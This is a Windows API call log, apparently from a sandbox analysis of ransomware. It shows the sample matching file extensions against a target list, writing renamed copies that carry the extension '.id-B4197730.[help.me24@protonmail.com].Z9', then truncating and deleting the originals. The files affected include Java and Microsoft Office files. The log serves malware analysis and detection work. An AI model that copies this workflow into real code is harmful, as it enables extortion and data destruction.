	[0075.153] lstrlenW (lpString=".xls") returned 4
	[0075.154] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0075.154] lstrlenW (lpString=".xlsx") returned 5
	[0075.154] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1
	[0075.154] lstrlenW (lpString=".ppt") returned 4
	[0075.154] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0075.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0075.154] lstrlenW (lpString=".zip") returned 4
	[0075.154] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0075.154] lstrlenW (lpString=".rar") returned 4
	[0075.154] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0075.154] lstrlenW (lpString=".bz2") returned 4
	[0075.154] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0075.154] lstrlenW (lpString=".7z") returned 3
	[0075.154] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0075.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0075.154] lstrlenW (lpString=".dbf") returned 4
	[0075.154] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0075.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0075.154] lstrlenW (lpString=".1cd") returned 4
	[0075.154] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0075.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0075.154] lstrlenW (lpString=".jpg") returned 4
	[0075.154] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0075.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0075.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0075.154] lstrlenW (lpString=".doc") returned 4
	[0075.154] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0075.154] lstrlenW (lpString=".docx") returned 5
	[0075.154] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1
	[0075.154] lstrlenW (lpString=".pdf") returned 4
	[0075.154] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0075.154] lstrlenW (lpString=".xls") returned 4
	[0075.154] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0075.154] lstrlenW (lpString=".xlsx") returned 5
	[0075.154] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1
	[0075.155] lstrlenW (lpString=".ppt") returned 4
	[0075.155] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0075.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0075.155] lstrlenW (lpString=".zip") returned 4
	[0075.155] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0075.155] lstrlenW (lpString=".rar") returned 4
	[0075.155] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0075.155] lstrlenW (lpString=".bz2") returned 4
	[0075.155] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0075.155] lstrlenW (lpString=".7z") returned 3
	[0075.155] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0075.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0075.155] lstrlenW (lpString=".dbf") returned 4
	[0075.155] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0075.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0075.155] lstrlenW (lpString=".1cd") returned 4
	[0075.155] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0075.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69
	[0075.155] lstrlenW (lpString=".jpg") returned 4
	[0075.155] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0075.155] lstrcmpiW (lpString1=".txt", lpString2=".Z9") returned -1
	[0075.155] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27
	[0075.155] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0075.155] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=145180) returned 1
	[0075.156] CloseHandle (hObject=0x320) returned 1
	[0075.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 0x20
	[0075.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.156] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0075.156] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.156] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.156] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0075.156] GetLastError () returned 0x0
	[0075.156] ReadFile (in: hFile=0x320, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x2371c, lpOverlapped=0x0) returned 1
	[0075.552] WriteFile (in: hFile=0x358, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x23720, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x23720, lpOverlapped=0x0) returned 1
	[0075.555] ReadFile (in: hFile=0x320, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.555] WriteFile (in: hFile=0x358, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0075.555] SetEndOfFile (hFile=0x358) returned 1
	[0075.555] CloseHandle (hObject=0x358) returned 1
	[0075.559] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.559] SetEndOfFile (hFile=0x320) returned 1
	[0075.560] CloseHandle (hObject=0x320) returned 1
	[0075.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0075.561] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt")) returned 1
	[0075.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0075.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0075.561] lstrlenW (lpString=".doc") returned 4
	[0075.561] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0075.561] lstrlenW (lpString=".docx") returned 5
	[0075.561] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1
	[0075.561] lstrlenW (lpString=".pdf") returned 4
	[0075.561] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0075.561] lstrlenW (lpString=".xls") returned 4
	[0075.561] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0075.561] lstrlenW (lpString=".xlsx") returned 5
	[0075.561] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1
	[0075.561] lstrlenW (lpString=".ppt") returned 4
	[0075.561] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0075.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0075.561] lstrlenW (lpString=".zip") returned 4
	[0075.561] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0075.561] lstrlenW (lpString=".rar") returned 4
	[0075.561] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0075.561] lstrlenW (lpString=".bz2") returned 4
	[0075.561] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0075.562] lstrlenW (lpString=".7z") returned 3
	[0075.562] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0075.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0075.562] lstrlenW (lpString=".dbf") returned 4
	[0075.562] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0075.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0075.562] lstrlenW (lpString=".1cd") returned 4
	[0075.562] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0075.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0075.562] lstrlenW (lpString=".jpg") returned 4
	[0075.562] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0075.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0075.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0075.562] lstrlenW (lpString=".doc") returned 4
	[0075.562] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0075.562] lstrlenW (lpString=".docx") returned 5
	[0075.562] lstrcmpiW (lpString1=".docx", lpString2="E.txt") returned -1
	[0075.562] lstrlenW (lpString=".pdf") returned 4
	[0075.562] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0075.562] lstrlenW (lpString=".xls") returned 4
	[0075.562] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0075.562] lstrlenW (lpString=".xlsx") returned 5
	[0075.562] lstrcmpiW (lpString1=".xlsx", lpString2="E.txt") returned -1
	[0075.562] lstrlenW (lpString=".ppt") returned 4
	[0075.562] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0075.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0075.562] lstrlenW (lpString=".zip") returned 4
	[0075.562] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0075.562] lstrlenW (lpString=".rar") returned 4
	[0075.562] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0075.562] lstrlenW (lpString=".bz2") returned 4
	[0075.562] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0075.562] lstrlenW (lpString=".7z") returned 3
	[0075.563] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0075.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0075.563] lstrlenW (lpString=".dbf") returned 4
	[0075.563] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0075.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0075.563] lstrlenW (lpString=".1cd") returned 4
	[0075.563] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0075.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 62
	[0075.563] lstrlenW (lpString=".jpg") returned 4
	[0075.563] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0075.563] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0075.563] lstrlenW (lpString="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 53
	[0075.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0075.564] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1533) returned 1
	[0075.564] CloseHandle (hObject=0x320) returned 1
	[0075.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0075.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0075.564] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.564] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0075.564] GetLastError () returned 0x0
	[0075.564] ReadFile (in: hFile=0x320, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x5fd, lpOverlapped=0x0) returned 1
	[0075.568] WriteFile (in: hFile=0x358, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x600, lpOverlapped=0x0) returned 1
	[0075.568] ReadFile (in: hFile=0x320, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.569] WriteFile (in: hFile=0x358, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0075.569] SetEndOfFile (hFile=0x358) returned 1
	[0075.569] CloseHandle (hObject=0x358) returned 1
	[0075.570] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.570] SetEndOfFile (hFile=0x320) returned 1
	[0075.571] CloseHandle (hObject=0x320) returned 1
	[0075.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0075.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 1
	[0075.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0075.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0075.571] lstrlenW (lpString=".doc") returned 4
	[0075.571] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.571] lstrlenW (lpString=".docx") returned 5
	[0075.571] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.571] lstrlenW (lpString=".pdf") returned 4
	[0075.571] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.571] lstrlenW (lpString=".xls") returned 4
	[0075.571] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.571] lstrlenW (lpString=".xlsx") returned 5
	[0075.572] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.572] lstrlenW (lpString=".ppt") returned 4
	[0075.572] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0075.572] lstrlenW (lpString=".zip") returned 4
	[0075.572] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.572] lstrlenW (lpString=".rar") returned 4
	[0075.572] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.572] lstrlenW (lpString=".bz2") returned 4
	[0075.572] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.572] lstrlenW (lpString=".7z") returned 3
	[0075.572] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0075.572] lstrlenW (lpString=".dbf") returned 4
	[0075.572] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0075.572] lstrlenW (lpString=".1cd") returned 4
	[0075.572] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0075.572] lstrlenW (lpString=".jpg") returned 4
	[0075.572] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0075.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0075.572] lstrlenW (lpString=".doc") returned 4
	[0075.572] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0075.572] lstrlenW (lpString=".docx") returned 5
	[0075.572] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0075.572] lstrlenW (lpString=".pdf") returned 4
	[0075.572] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0075.572] lstrlenW (lpString=".xls") returned 4
	[0075.572] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0075.572] lstrlenW (lpString=".xlsx") returned 5
	[0075.572] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0075.572] lstrlenW (lpString=".ppt") returned 4
	[0075.573] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0075.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0075.573] lstrlenW (lpString=".zip") returned 4
	[0075.573] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0075.573] lstrlenW (lpString=".rar") returned 4
	[0075.573] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0075.573] lstrlenW (lpString=".bz2") returned 4
	[0075.573] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0075.573] lstrlenW (lpString=".7z") returned 3
	[0075.573] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0075.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0075.573] lstrlenW (lpString=".dbf") returned 4
	[0075.573] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0075.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0075.573] lstrlenW (lpString=".1cd") returned 4
	[0075.573] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0075.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104
	[0075.573] lstrlenW (lpString=".jpg") returned 4
	[0075.573] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0075.573] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0075.573] lstrlenW (lpString="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned 53
	[0075.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0075.575] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=800867) returned 1
	[0075.575] CloseHandle (hObject=0x320) returned 1
	[0075.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0075.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0075.575] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.575] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0075.576] GetLastError () returned 0x0
	[0075.576] ReadFile (in: hFile=0x320, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xc3863, lpOverlapped=0x0) returned 1
	[0076.071] WriteFile (in: hFile=0x358, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xc3870, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xc3870, lpOverlapped=0x0) returned 1
	[0076.086] ReadFile (in: hFile=0x320, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.086] WriteFile (in: hFile=0x358, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0076.086] SetEndOfFile (hFile=0x358) returned 1
	[0076.086] CloseHandle (hObject=0x358) returned 1
	[0076.102] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.102] SetEndOfFile (hFile=0x320) returned 1
	[0076.109] CloseHandle (hObject=0x320) returned 1
